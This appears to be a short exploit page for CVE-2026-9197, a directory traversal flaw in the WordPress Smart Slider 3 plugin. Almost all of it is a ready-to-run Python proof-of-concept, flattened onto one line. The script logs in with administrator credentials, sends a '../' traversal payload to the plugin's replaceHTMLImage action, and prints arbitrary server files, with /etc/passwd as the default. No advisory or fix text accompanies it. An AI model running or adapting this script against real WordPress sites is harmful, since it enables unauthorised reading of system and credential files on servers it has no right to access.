CVE-2026-9197 WordPress Smart Slider 3插件目录遍历漏洞

import requests import sys from urllib.parse import quote # CVE-2026-9197 PoC - Smart Slider 3 Directory Traversal # Target: WordPress site with Smart Slider 3 plugin <= 3.5.1.36 # Requirement: Administrator-level access def exploit_directory_traversal(target_url, wp_admin_user, wp_admin_pass, target_file='/etc/passwd'): """ Exploit the directory traversal vulnerability in Smart Slider 3's replaceHTMLImage function. Args: target_url: Base URL of the WordPress site wp_admin_user: WordPress administrator username wp_admin_pass: WordPress administrator password target_file: Path to the file to read (default: /etc/passwd) Returns: Content of the requested file or None on failure """ session = requests.Session() # WordPress login login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_admin_user, 'pwd': wp_admin_pass, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in to WordPress as {wp_admin_user}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed. Check credentials.") return None print("[+] Login successful!") # Encode the target file path for directory traversal encoded_path = quote(target_file) # Vulnerable endpoint - Smart Slider 3 replaceHTMLImage function exploit_url = f"{target_url}/wp-admin/admin.php?page=smartslider3&controller=slider&action=replaceHTMLImage" # Construct the exploit payload exploit_data = { 'file': f"../../../../../../..{target_file}", 'module': 'slider', 'task': 'replaceHTMLImage' } print(f"[*] Attempting to read: {target_file}") resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200 and resp.text: print(f"[+] File content retrieved successfully!") print("-" * 60) print(resp.text[:2000]) # Print first 2000 chars return resp.text else: print(f"[-] Failed to retrieve file. Status: {resp.status_code}") return None if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_user> <admin_pass> [file_to_read]") print(f"Example: python {sys.argv[0]} http://target.com admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] password = sys.argv[3] file_path = sys.argv[4] if len(sys.argv) > 4 else '/etc/passwd' exploit_directory_traversal(target, user, password, file_path)